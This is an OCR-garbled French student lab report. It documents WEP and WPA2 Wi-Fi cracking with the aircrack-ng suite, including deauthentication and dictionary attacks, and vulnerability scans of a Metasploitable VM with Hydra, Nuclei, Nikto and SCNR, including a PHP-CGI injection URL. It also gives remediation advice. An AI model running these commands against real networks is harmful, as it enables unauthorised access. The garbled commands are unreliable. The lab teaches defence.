Basic Settings Radius Wireless Security MACFilter Advanced Settings WwDS

Physical Interface wl0 SSID [LE-Z-EN-BRRRR] HWAddr [30:23:03:8E:D1:D1] Security Mode:

YR s R vt o

i erson. nterprise, or

gecikyode we ¥ RADIUS, All devices on your network
e - = 4 must use the same security mode,

Default Transmit Key @ Oz O3 O4 WLHAZNIAI‘élgde you must use

Encryption 64 bits 10 hex dgits v

Passphrase
Key 1 2578FDDF18

Key 2 42EFSBFDE2

Key 3 6537DEDSE2

Key 4 437254F51C

Le Wired Equivalent Privacy est un protocole de sécurité pour les réseaux sans fil qui vise a fournir un
niveau de confidentialité similaire a celui des réseaux filaires. 1l utilise une clé partagée entre les
périphériques et le point d'acces pour chiffrer les données échangées. Cependant, le WEP est maintenant
largement considéré comme obsoléte et peu sdr en raison de ses vulnérabilités connues qui rendent
relativement facile a des attaquants de compromettre le réseau.

Pour commencer ’attaque, on met le wlan qui est I’interface wifi en mode monitor avec la commande :

/home/nicorab
start wlanofj

Le mode moniteur sur une interface Wi-Fi permet a la carte réseau de capturer et d'analyser les paquets de
données qui circulent sur le réseau sans fil, sans se limiter a ceux qui sont adressés a la carte spécifique.
Cela permet notamment de surveiller le trafic du réseau, de détecter les réseaux environnants, de réaliser
des analyses de sécurité et de dépanner les problemes de connectivité. En résumé, le mode moniteur
permet une analyse approfondie du trafic Wi-Fi sans fil.

Puis on scanne les réseaux disponibles en filtrant par rapport au protocole d'encryptage souhaité

pour notre cas c’est le WEP. airodump-ng --encrypt WEP wlanOmon

Puis on trouve la liste des différents réseaux disponible :
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CH 3 ][ Elapsed:

BSSID 3ea NS » #/s C MB ENC CIPHER AUTH ESSID

MP

MP

MP

MP

MP

MP

MP

MP

MP

MP

MP

MP

MP

MP

MP

MP e
MP u -invites
MP

MP

MP

BF, Freebo:

t0D:EQ:
0: €

/home/nicorab

On récupere ensuite le BSSID du réseau qu’on veut attaquer puis on exécute une commande afin d'écouter
un réseau specifique a l'aide de son BSSID

airodump-ng --write file out.cap --canal 6 -—encrypt wep —-bssid

XX : XX : XX :XX:XX:XX wlanO

Suite a cette commande on écoute donc le réseau spécifier

PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
30199 36 6 54e WEP WEP LE-Z-EN-BRRRR

PWR Rate Lost Frames Notes Probes

-29 S54e-54 0 29216
=51 54e-12 0 9329

airodump-ng -w file_out68 -c 6 --encrypt wep --bssid 30:23:03:8B:D1:D1

Ensuite plus qu'a attendre qu’on ai beaucoup de data (I’idéal serait 50 000 d’aprés mon expérience pour
pouvoir craquer facilement une clée en 64bits)

Pour calculer la clé de chiffrement il suffit de fournir en en premier paramétre -z le fichier qui contient les

trames capturées (ici file_out.cap). Le protocole est plus ou moins long en fonction du nombre de trames
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recues et du mot de passe. aircrack-ng -z file out.cap -0

Puis on trouve enfin la clef qui permet 1’acces au wifi

root@kali: /home/nicorab

File Actions Edit View Help

02( 512) o6( 512) ec( 512) orF( 512) 17( 512) 1c( 512) 1p(

09( 768) @E( 768) 24( 768) S5E( 768) 66( 768) 6A( 768) 6E( 768

04( 768) 10( 768) 24( 768) 25( 768) 26( 768) 2A( 768) 2c( B
5(1280) 19(1024) 2E(1024) 35(1024) 54(1024) 59(1024) 65(1024) 94(1024)
70(1536) 13(1280) 67(1280) C0(1280) C1(1280) 19(1024) 1B(1024) 2C(1024)

/home/nicorab

Attaque WPA2

Pour cette attaque nous utilisons le stormshield comme borne wifi, nous mettons donc la sécurité sur
WPA2 et définissons un mot de passe, pour notre cas qui est “azertyuiop”

Le Wi-Fi Protected Access 2 est un protocole de sécurité utilisé pour sécuriser les réseaux sans fil Wi-Fi.
Il est concu pour fournir une meilleure sécurité que son prédécesseur, le WPA . Le WPAZ2 utilise

I'algorithme de chiffrement AES (Advanced Encryption Standard) pour protéger les données transmises
sur le réseau Wi-Fi.

tout comme avant on commence par scanner les réseau (se mettre en mode moniteur) mais cette fois ci
ceux qui sont en WPA2

airodump-ng --encrypt WPA2 wlanOmon

Il nous ressort la liste des réseau disponible, ensuite on récupere le bssid du réseau a attaquer puis on

I’analyse :
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BSSID PWR cons ata /s C MB ENC CIPHER AUTH ESSID

PO:0D:B4:18:26:A -16 495 3 9 11 405 WPAZ CCMP PSK Grp4_SNS
BSSID STATION PWR late 05 Frames Notes Probes

PO:OD:B4:18:26:A1 F2 =2E:15:46:9F -42 624 EAPOL

On peut voir ici dans “station” qu’un appareil est connecté au réseau, on va forcer sa déconnexion a l'aide
de aireplay afin qu’il se reconnecte et qu’on puisse récupérer le handshake pour par la suite pouvoir
craquer le mot de passe, on va executer cette commande en simultané avec I’analyse :

aireplay-ng -0 2 -a “BSSID” -¢c “MAC APPAREIL” wlanOmon suite a cette commande I’appareille

se déconnecte puis on arrive a récupérer le handshake

][ Elapsed: 3 mins J[ WPA handshake: 00:0D:B4:18:26:A1

PWR Beacons y M ENC CIPHER AUTH ESSID

11 405 WPA2 CCMP PSK Grp4_SNS

PWR Rate Lost Frames Notes Probes

210 624 EAPOL

Ensuite on utilise un dictionnaire de mot de passe pour ma part j’ai pris celui de base installer sur kali
linux le “wifite”

on lance une commande afin de bruteforce le mdp :

aircrack-ng -a2 -b XX:XX:XX:XX:XX:XX -w /usr/share/wordlists/wifite.txt

info-01.cap
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Tache 7 Utilisation de scanneurs de vulnérabilité (13,5 points)

Liste des personnes impliquées avec pourcentage de répartition
Fatih KURUL 55 %

Nicolas RABERGEAU 45 %

Estimation du temps passé sur cette tache en heure-homme : 25h

Objectif : Réaliser plusieurs évaluations de la sécurité des serveurs

Sous-taches Evaluation prof

Installez dans la DMZ une machine/VM metasploitable 100%

Installez et utilisez SCNR 100%

Installez et utilisez Legion 100%

Installez et utilisez Nuclei 100%

Installez et utilisez Nikto 100%

Placez les scanners dans la DMZ, puis a I’extérieur 100%
Rapport

(Expliquez votre démarche, captures d’écrans des installations, listez le résultat des scans, etc.)
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NimPo

2 LEGION 0.3.9-1665098899 - untitled - fuselshareflegion/
File Help

Scan  Brute

Hosts  Services  Tools Services Scripts  Information  CVEs  Notes  screenshot(80/tcp) @ smtp-enum-vify (25/tcp) B mysql-default (3306/tcp) B postgres-default (5432/tcp) @ ftp-default (21/tcp) @ smitp-enum-vrfy (25
os Host Port Protocol State Name Version
? 192.168.1.119 (unknown) open ftp vsftpd 23.4
ssh OpenSSH 4.7p1 Debian Bubuntu1 (protocol 2.0)
telnet Linux telnetd
smtp Postfix smtpd
domain ISCBIND 9.4.2
http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
rpebind 2 (RPC #100000)
netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
exec
login
tcpwrapped
java-rmi GNU Classpath grmiregistry
bindshell ~ Metasploitable root shell
nfs 2-4 (RPC #100003)
ftp ProFTPD 131

® O 0000600 666060606

MySQL 5.0.57a-3ubuntus

Processes  Log
Progress -  Elapsed Est. Remaining i Tool Host
i 0,00s 0.00s screenshot (80/tcp) 192.168.1.119 Finished
s 109.59s 0.00s nmap (stage 5) 192168119 Finished
W 0.74s 0.00s ftp-default (21/tcp) 1921681119 Finished
BN 0.00s 0.00s screenshot (8180/tcp) 1921681119 Finished
s 474.20s 0.00s nmap (stage 6) 1921681119 Finished
mnnnnnnn - 16.43s 0.00s ftp-default (2121/tcp) 192.168.1.119 Finished
0,008 0.00s screenshot (8180/tcp) 1921681.19 Finished

Saving.

Sans Firewall)

’S--IQD

- LEGION 0.3.9-1665098899 - untitled - fuse/sharefieglon!
File Help

Scan  Brute

Hosts  Services Tools Services  Scripts  Information CVEs  Notes  screenshot (80/tcp) 8 ftp-default (21/tcp) B screenshot (80/tcp) B ftp-default (21/tcp) B
0s Host Port Protocol State Name Version
7 87.10.10.1 (unknown) 21 tcp open ftp vsftpd 234

80 tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

Processes  Log
Progress -~  Elapsed Est. Remaining Tool Host Status
W 9,605 0.00s nmap (stage 3) 8710101 Finished
s 2275 0.00s nmap (stage 4) 8710101 Finished
W 0,008 0.00s ftp-default (21/tcp) 8710101  Finished
W 0,008 0.00s screenshot (80/tcp) 8710101  Finished
nnnn 47.925 0.00s nmap (stage 5) 8710101 Finished
W 0,008 0.00s ftp-default (21/tcp) 8710101  Finished

nnn 71331 0.00s nmap (stage 6) 8710101  Finished

. . . ' , .
Capture scanner Legion de Metasploitable depuis I'extérieur (Passent
Scripts  Information CVEs Notes screenshot (80/tcp) B smtp-enum-vrfy (25/tcp) B mysql-default (3306/tcp) & postgres-default (5432/tcp)
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ***

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-02 11:26:07
[DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries, ~1 try per task

[DATA] attacking postgres://192.168.1.119:5432/

[5432][postgres] host: 192.168.1.119 login: postgres password: postgres

1of 1target successfully completed, 1valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-04-02 11:26:07
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Bruteforce réussie de Legoin de postgres sur Metasploitable

Scripts  Information CVEs Notes screenshot (80/tcp) smtp-enum-vrfy (25/tcp) B mysql-default (3306/tcp) B postgres-default (5432/tcp) B ftp-default (21/tcp) B

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics an

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-02 11:27:25
[DATA] max 16 tasks per 1server, overall 16 tasks, 66 login tries, ~5 tries per task

[DATA] attacking ftp://192.168.1.119:21/

[21][ftp] host: 192.168.1.119 login: anonymous password: an S

[STATUS] attack finished for 192.168.1.119 (valid pair found)

1 of 1target successfully completed, 1valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-04-02 11:27:25

Bruteforce réussie de Legoin de FTP sur Metasploitable

loaded
httpx on
fr

] Found 1
] Template
on+-d+auto_pre,

Capture du scanner Nuclei dans la DMZ du Metasploitable. (Sans Firewall)
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87.10.10.1

projectdiscovery.io

Current nuclei version: v3.2.2 ( )
Current nuclei-templates version: v9.8.0 (
Scan results upload to cloud is disabled.
New templates added in latest release: 85
Templates loaded for current scan: 7789
Executing 5730 signed templates from projectdiscovery/nuclei-templates
Loaded 2075 unsigned templates for scan. Use with cautio
Targets loaded for current scan: 1
Running httpx on input host
Found 1 URL from httpx
Templates clustered: 1457 (Reduced 1420 Requests)

10 1] 1 ] http://87.10.10.1/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

i [t 1L ] http://87.10.10.1 [ 1

1] 0 1| ] http://87.10.10.1 [ ]
:phpl [ 101 ] http://87.10.10.1

acurity] [ 110 ] http://87.10.10.1
nissions-policy] [ s ] http://87.10.10.1
:cross- »pener-policy] [ 11 ] http://87.10.10.1
cross-origin-resource-policy] [ 1 | ] http://87.10.10.1
:content-security-policy] [ U ] http://87.10.10.1
-frame-options] [ 1 ] http://87.10.10.1
:x-content-type-options] [ i ] http://87.10.10.1
mitted-cross-domain-polici TaL ] http://87.10.10.1
-policy] [ 10 ] http://87.10.10.1
1 site-data] [ 110 ] http://87.10.10.1
rity C -origin bedder-policy] [ 1fi3 ] http://87.10.10.1
INE 110 ] http://87.10.10.1/phpMyAdmin/
1L 1) 4t ] http://87.10.10.1/phpinfo.php
apachegeneric] [ 1T ] http://87.10.10.1/
] [medium] 87.10.10.1:21

root@rt-mob1i
- Nikto v2.1.6

Target IP: 192.168.1.119
¢ 192.168.1.119
80
2024-64-02 11:26:54 (GMT2)
(Ubunt
-by header: .2.4-2ubuntus.10
The anti-clickjacking X-Frame-Options header is not present
t-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type.
Uncommon header 'tcn' found, with contents: list
Apache mod negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. http://we.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for
Apache/2.2.8 appears to be outdated (cur t Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch
Web Server returns a valid response with junk HTTP methods, this may cause false positives
0SVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
/phpinfo.php: Output from the phpinfo() function was found
0SVDB-32 ing found.
0SVDB- / ry is browsable. This may be /usr/doc.
-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings
: /?=PHPE9568F36-D428-11d2-A769-00AABO1ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings
/?2=PHPE9568F34-D428-11d2-A769-0BAA0O1ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings
/7=PHPEQ568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings
: /phpMyAdmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts
leak inodes via ETags, header found with file /phpMyAdmin/Changelog, inode: 92462, size: 40540, mtime: Tue Dec 9 18:24:00 2008
0SVDB- : /phpMyAdmin/Changelog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts
0SVDB- : /test/: Directory indexing found.
G, t/: This might be interesting
: /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gi a lot of system information.
: /icons/: Directory indexing found
/icons/README : he default file found.
phpMyAdmin directory found
0SVDB-30892: /phpMyAdmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts
0SVDB-3092: /phpMyAdmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts
8918 requests: © error(s) and 26 item(s) reported on remote host
End Time 2024-64-62 11:29:22 (GMT2) (148 seconds

1 host(s) tested
root@rt-mobl6: /home/rt/nikto/programé []

Capture du scanner Nikto dans la DMZ du Metaspoiltable. (Sans Firewall)
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Target IP: 87.10.10.1
Target Hostname: 87.10.10.1
Target Port: 80

Start Time: 2024-64-03 11:0

Server: Apache/2.2.8 (Ubuntu) DAV/2
Retrieved x-powe y header: PHP/5.2.4-

nti-clickjacking X-Frame-Options header is not present.

ontent-Ty, eader i et. This could allow the user agent to render the content of the site in a different fashion to the MIME type.
Uncommon header 'tcn' f , with contents: list
Apache mod negotiation is enabled with Multi s, which allows attacke to easily brute force file names. See http://w sec.it/sectou.php?id=4698ebdc59d15. The following alt
2.8 appears to be outdated (current is at least Apach .4.54). Apache 2.2.34 is the EOL for the 2 branch.
ver returns a valid response with junk HTTP methods, this may cause false positives.
0SVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
/phpinfo.php: Output from the phpinfo() function was found.
/ : Directory indexing found.
0SVDB- The /doc/ directory is browsable. This may be /usr/doc
0SVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
0SVDB-12184: PHPE9568F36-D428- 769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
0SVDB- ¥ PHPE9568F34-D428- 69-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
0SVDB-12184: /?=PHPE9568F35-D428- -A769-00AA A : PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUER
0SVDB-3092: /phpMyAdmin 0g : phpMyAd 5 managing MySQL databases, and should be protected or limited to author d hosts.
Server may leak inodes a 3 header found with file /phpMyAdmin/ChangelLog, inode: 92462, size: 40540, mtime: Tue Dec 9 18:24:00 2008
0SVDB : /phpMyAdmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
0SVDB- Y Directory indexing found.
0SVDB-309 This might be interesting.
0SVDB- /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information
0SVDB- / Directory indexing found.
0SVDB-3233: EADME: Apache default file found
/phpMyAdm phpMyAdmin directory found
0SVDB-309 /phpMyAdmin/Documentation.html: phpM s for managing MySQL databases, and should be protected or limited to authorized hosts.
0SVDB-3692: /phpMyAdmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
8892 requests: 2 error(s) and 26 item(s) reported on e host
2) (108 seconds)
+ 1 host(s) t
root@rt-mobl6: /home/rt/nikto/pr gvaml

Capture scanner Nikto de Metasploitable depuis I'extérieur (Passent par le FW)
@ Applications Emplacements Systeme Kﬁ ‘ @;‘ mer. 3avril, 09:48
tp@rt-mob: ~/Bureau/installer-1.3.14.1/scnr-v1.3.14.1/bin ADRES
Fichier Edition Affichage Recherche Terminal Aide

~] Relevant issues:
= esateattesataRi e
Cross-Site Scripting (XSS) in HTML tag in header input 'Referer' using GET at the following pages:

[~]  * http://192.168.1.119/mutillidae/index.php?page=user-info.php&username=scnr_engine name&password=5543!scnr_engine secret&user-i
nfo-php-submit-button=View%s20Account%20Details

[~]  * http://192.168.1.119/mutillidae/?page=add-to-your-blog.php
* http://192.168.1.119/mutillidae/phpinfo.php
* http://192.168.1.119/mutillidae/login/index.php?page=login.php
* http://192.168.1.119/mutillidae/login/
*
*

[
[

http://192.168.1.119/mutillidae/register/index.php?page=register.php
http://192.168.1.119/mutillidae/register/

T e

Cross-Site Scripting (XSS) in event tag of HTML element in header input 'Referer' using GET at the following pages:

[~]  * http://192.168.1.119/mutillidae/index.php?page=user-info.php&username=scnr_engine_name&password=5543!scnr_engine secret&user-i
nfo-php-submit-button=Views20Account%20Details

[~]  * http://192.168.1.119/mutillidae/?page=add-to-your-blog.php

~ * http://192.168.1.119/mutillidae/phpinfo.php

~ * http://192.168.1.119/mutillidae/login/index.php?page=login.php
* http://192.168.1.119/mutillidae/login/
* http://192.168.1.119/mutillidae/register/index.php?page=register.php
* http://192.168.1.119/mutillidae/register/\ ‘l

Cross-Site Scripting (XSS) in script context in cookie input 'showhints' using GET at the following pages:

[~]  * http://192.168.1.119/mutillidae/?page=add-to-your-blog.php
[~]1  * http://192.168.1.119/mutillidae/index.php?do=toggle-hints&page=home.php
Cross-Site Scripting (XSS) in header input 'User-Agent' using GET at the following pages:
[~]  * http://192.168.1.119/mutillidae/index.php?page=home.php&do=toggle-security
[~] * http://192.168.1.119/mutillidae/
tp@rt-mob: ~/Bureau.. @ scnr - Recherche Goog... £ bin tp@rt-mob: ~ @ tp m---
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@ Applications Emplacements Systeme Kﬁ ‘ @j mer. 3avril, 09:28
tp@rt-mob: ~/Bureau/installer-1.3.14.1/scnr-v1.3.14.1/bin ) ko) (%

Fichier Edition Affichage Recherche Terminal Aide

Report saved at: /home/tp/.scnr/reports/192.168.1.119 2024-04-03_09_27_07_+0200.ser [13.53MB]

[_.
[~] The scan has logged errors: /home/tp/Bureau/installer-1.3.14.1/scnr-v1.3.14.1/bin/../.system/../logs/engine/error-26352.1log

[~] Currently auditing http://192.168.1.119/doc/1libxdmcp6/copyright

[~] Audited 3204 page snapshots.

N

[~] Duration: 16:49:51

[~] Processed 3449506/3464186 HTTP requests -- failed: 2271

[~] -- 58.992 requests/second.

[~] Processed 2498/2498 browser jobs -- failed: 16

[~] -- 1.262 second/job.

[~] Burst avg application time 0.0 seconds

[~] Burst average response time 0.0 seconds

[~] Burst average responses/s 0.0 responses/second

[~] Average application time 0.017 seconds

[~] Download speed 798.923 KBps

[~] Upload speed 2.284 KBps

[~] Concurrency 1/10 connections

[~] Please provide feedback at: contact@ecsypno.com

[~] -- Thank you in advance!

~/Bureau/installer-1.3.14.1/scnr-v1.3.14.1/bin$ ./scnr http://192.168.1.119/D Jl
@ tp@rt-mob: ~/Bureau.. @ Mozilla Firefox B3 bin @& tp@rt-mob: ~/Bureau/... ﬁ---
Capture du scanner SCNR dans la DMZ du Metasploitable
@ Applications Emplacements Systeme (0 ‘ @;‘ mer. 3avril, 09:46
tp@rt-mob: ~/Bureau/installer-1.3.14.1/scnr-v1.3.14.1/bin ) (8) X

Fichier Edition Affichage Recherche Terminal Aide

.bash_history .local/ =
.bash_logout Modeles/

.bashrc .mozilla/
Bureau/ Musique/
c2691-adventerprisek9-mz.124-5a.bin nano.save

.cache/ .pki/
capture_file-01.cap Postman/
capture_file-0l.csv .profile
capture_file-01.kismet.csv Public/

capture_file-01.kismet.netxml .putty/

capture_file-01.log.csv .scapy_history

capture_file-02.cap .scnr/

capture_file-02.csv script.py

capture_file-02.kismet.csv .ssh/

capture_file-02.kismet.netxml Téléchargements/

capture_file-02.log.csv Vidéos/

certif/ .viminfo

.config/ vsftpd-cert.pem

.cuboid/ vsftpd-key.pem

dhcp_dos.py .Xauthority

.dmrc .Xsession-errors

Documents/ .xsession-errors.old

:~/Bureau/installer-1.3.14.1/scnr-v1.3.14.1/bin$ ./scnr_reporter --report=html:outfile=my_report.html.zip /home/tp/192.168.1.1

19 2024-04-03 09 27 07 +0200.ser
-- Update v1.3.14.3 is available for download:
-- https://github.com/scnr/installer

[ERROR] License is for community edition, while dev or trial or basic or pro or sdlc or enterprise required.

:~/Bureau/ins ler-1.3.14.1/scnr-v1.3.14.1/bin$ J

tp@rt-mob: ~/Bureau.. @ Generate reports - Co.. [J bin & tp@rt-mob: ~ tp &---

Capture d'écran de probleme de rapport de scan

Le probléme était quand je voulais avoir un beau rapport de scan pour bien voir les différents résultats de
scan mais qu'ont pouvais pas car on avait pas le license pour. Du coup pour voir les résultats, on a di nous

méfier au logs de scan qui nous a été fourni.

Un autre probleme était que les scan SCNR ont été trop agressifs pour le VM qu'il n'avait pas assez de
mémoire. Pour résoudre on a augmenter le RAM sur le VM sous Virtualbox et augmenter les cores du

CPU en
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Mise en place Metasploitable/Nikto/SCNR: Fait par
Fatih KURUL

Nuclei/Légion et tester les scanner passant par le FW et sans FW: Fait par
Nicolas RABERGEAU

La machine VM Metasploitable a été¢ configurée en Bridge sur I’interface (eth1 10.0.0.5) ou ce situe le le
Serveur WEB/FTP (eth0 10.0.0.1) du Réseau A avec les 2 reliée & la DMZ du Stormshield gréce a un
switch.

Jiai utilisé Nuclei/Légion sur mon propre PC portable avec Kali linux en dual boot et puis utiliser
Nikto/SCNR sur les PC portable d’TUT.

Lors des scans, nous avons remarqué des différences entre un scan interne au LAN et un autre effectué
depuis l'extérieur au WAN. C’est difference sont du au fait que nos trafic entrant depuis 1'extérieur passe
par les filtrage présent sur le firewall. Cela permet de ne pas pouvoir scanner tout le réseau interne depuis
le réseau externe. Pour un attaquant, cela rend les attaques plus difficiles depuis le réseau externe.

Filtrage utilise:

FW_A@192.168.1.254 Administration —Mozilla Firefox

FW_A g admin

# STORMSHIELD SN2iow  3iio Fiestue (x12]C)
a2

Restricted access to logs

@ CONFIGURATION @ FILTER - NAT
Search EE A (5)SAE v| R Acwaewispolcy | Edte | *3Eqot &g
® Interfaces —
@ Wiki Searching. 4+ Newrdes B = =% 54 =-
® Virlual intertaces Stalus =~ Action = | Source Destination Dest. port Prolo... Securly inspection =~  Commen 1
® Routing 1 an @on « Authentication portal L unknown @ g&Net @ Internet ; :“; @'os Créée le 2024-03-27 10:16:33, par admin (1
® Muticast routing
° i = * ® @
® Dynamic DNS ¢ o
3 on pass S Network in Internat @os Créée lo 2024-04-02 13:09:23, par admin (1
® DHeP i * © ¥ hiips @
fio
® DNS cache proxy Firewall_ out b =
4 an @on 4 pass [#] Any § SRV_FTP_HTTP A ¥ fos @'os
® osuects FIPHITPA | ¢ tpscata
JSERS - Firewall_out ¥ htp
USERS Y X .
() 5 = ] 4 pass (%] Any i SRV_FTP_HTTP A ¥ s @ios
U =
S 6 an ° § pass o2 DMZ_ A o2 DMZ_B [ Ay @os
7 mo @ Eblock ofg DMZ_A off LAN A [ Any @es
8 an ] 8 block @ Internet S LAN A [ Any @rs
9 = ) B block [ Any [ Any & Ay @Ps Créée le 2024-03-26 12:0555, par admin (1
® Dirsctories configuration
& securmy poicy
® Filor - NAT

[ NETWORK OBJECTS

L USERS AND GROUPS 3 o ] Displaying 19019
8 AUDIT LOGS

|« MONITORING

NAT utilisé:
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FW_A@192.168.1.254 Administration — Mozilla Firefox

als

04 e 192.168.1.254 A ® L @ 8 =

FW.A g admin

i
o STORMSHIELD SN210W 3.11.20 " Read/Write
- ———— Restricted access to logs
rr— = — 10 improve th appiication | Downioad SN Rea:Time Mar vr
@ CONFIGURATION = s o
Sl A (5 SAE v R Activate this policy Edte 3 Expot | Gf
@ DAsHBOARD Furerive I
@ system S g & New rule » E = 3 > =
@ NETWORK = v Original traffic (before translation) Traffic after translation 5 .
latus rotocol tions 0.
s Source Destination Dest. port Source Sre. port Destination Dest. . i
i Séparateur - regroupement de régles (contains 1 rules, from 1 10 1)
® WiFi
1 = @on o Network_in @ Internet (3] Any - (@ Firewall_out ¥ ephemeral (@ Intemet cr
@ Virtual interfaces ) Séparateur - regroupement de régles (contains 6 rules, from 210 7)
@ Routing (%] Ar hity
2 ao @on {§ Metasploit ”[“i' m'ge . b m" - (§ Firewall_out cr
® Mutticast routing § nttps
[#] Any "
@ Dynamic DNS 3 == @on - @ Firewall_out ¥ hitp — (@ Firewall_bridge @ Metasploit ¥ htp NAT inside IPS...  Cr
® DHCP | [3] Any
4 & @on frding @ Firewall_out ¥ htips - (@ Firewall_bridge @ Metasploit ¥ hip: NAT inside IPS...  Cr
® DNS cache proxy
® ¥ o
OBJECTS [3] Any ¥ fip-data
an I
S 5 @on @ Metasploit s ¥ o - (@ Firewall_out cr
SE ¥ fips-data
® Users @Ay
6 mn @on i Firewal_out ¥ o - (@ Firewall_bridge i Metasploit ¥ fip NAT inside IPS...  Cr
@ Temporary accounts misciace. aut - -
Any
7 . E" 0 ft I a
o @on s ok il Firewal_out ¥ fios - (f Firewall_bridge @ Metasploit ¥ fios NAT inside IPS...  Cr

£) NETWORK OBJECTS

L USERS AND GROUPS e of - Displaying 1-90f 9
 AUDIT LOGS

| MONITORING

OES - =

SCNR :

Pour SCNR ont a eu des problémes d’installation notamment sur la licence de logiciel. Comme solution on
a décidé de mettre nos informations pour avoir un version “trial mode”.

SCNR a donc scanné chaque pages, découvertent par une énumération complétes des pages du sites et des
ses sous-domaines, avec toutes les méthodes qu’il connaissait. Le scan n'a pas non plus été terminé car il
peut prendre plus de 20 heures en total ce qui explique la durée de la tache et les PC fixe d’iut ou ce situe
le victime du scan (metasploitable) éteindre tout seule a la fin du journée. Malgre de ne pas faire un scan
complete on a peu avoir largement d’information suffisantes sur des vulnérabilités du victime

Nuclei :
Nuclei n’a pas posé probléme pour I’installation et I’utilisation. L utilisation se

faire par cmd, voici la commande pour faire la scan: nuclei -u <Adresse IP>

Nuclei fait un scan trés large et varié sur plein de protocoles et services différents en relevant les failles.
Comme vu dans les captures d'écran au-dessus le Firewall a réussi a bloquer pas mal des services comme
ssh/postgres/samba/smtp etc.

Légion :
Pour I’installation, Légion était déja inclus dans mon PC portable Kali Linux donc aucun probléme pour

ca.

Légion utilise nmap pour découvrir différents services et protocoles Il est aussi composé d’un interface
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graphique. Il peut aussi tester d’exploiter direction que ca soit bruteforce ou autre. Dans les captures
d'écran un dessus on a pris d’exemple de FTP et postgres. Pour un attaquant cet outil sert a faciliter la
découverte, la reconnaissance et I'exploitation des systemes d'information.

Comme dans Nuclei, Légion était victime de nos filtres de Firewall. Les seuls services qui ont été trouvés
sont http et ftp.

Nikto :

Nikto ne nous a posé aucun probléme, que ce soit pour I’installation ou I’utilisation pour les scan.

Nikto se concentre sur le scan WEB et en particulier les XSS (Cross-Site Scripting). Il nous corrige ici
quelques failles trouvées sur la machine cible. L’outil permet un argument de niveau de scan d’effectuer
un scan plus ou moins approfondi et donc d’obtenir plus ou moins de résultats.

Les résultats de scan avec et sans FW restent a peu pres la méme vu le scan concentre les service web et
que nos filtrage donnent plus d’acces au ces service web du serveur.

Voici donc une liste de différente faille trouver et comment les régler :

Vulnérabilités du systeme d'exploitation : Metasploitable est basé sur des versions anciennes et
vulnérables de distributions Linux, telles qu'Ubuntu et Debian. Il faut donc maintenir le systéme
d'exploitation a jour en installant les derniers correctifs de sécurité.

Services non sécurisés : Des services tels que FTP, Telnet, et d'autres sont configurés avec des mots de

passe faibles ou sans authentification. 1l faut donc désactiver les services inutiles et renforcer la sécurité
des services nécessaires en utilisant des mots de passe forts, en activant lI'authentification multi-facteurs
lorsque cela est possible, et en limitant les acces.

Vulnérabilités logicielles : Les logiciels installés sur Metasploitable , tels que les serveurs web Apache, les
bases de données MySQL, etc.comporte des failles de sécurité. Il faut mettre a jour régulierement ces
logiciels avec les derniers correctifs de sécurité disponibles.

Injection SQL : Les applications web sur Metasploitable sont vulnérables aux attaques par injection SQL,
ce qui permet a un attaquant d'exécuter du code SQL non autorisé. Pour prévenir cela, on utilise des
requétes paramétrées pour interagir avec la base de données.

Failles de sécurité réseau : Metasploitable comporte des vulnérabilités au niveau du réseau, telles que des
services mal configurés ou des regles de pare-feu laxistes. Il faut donc configurer correctement les régles
de pare-feu pour limiter I'accés aux services nécessaires, et utiliser des connexions chiffrées comme SSH
et désactiver les services non utilisés.
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Tache 8 Réalisation d’une attaque MiM (3,75 points)

Liste des personnes impliquées avec pourcentage de répartition
Bilal DAKHOUCHE 100 %

Estimation du temps passé sur cette tache en heure-homme : 8h

Objectif : Vol d’'une connexion HTTP

Installez une machine dans votre DMZ en la branchant sur un switch. Faites une attaque par
empoisonnement ARP pour usurper I'adresse ARP du serveur Web et affichez une page différente. Puis,
faites une redirection de la connexion du client vers le vrai serveur. Le client ne s’apercevra plus qu’il y a
le pirate entre lui et le serveur.

Modifiez des données de la page HTML envoyée au client.

Vous devrez utiliser une application pouvant forger des paquets ARP comme Scapy ou Arp-sk par exemple.

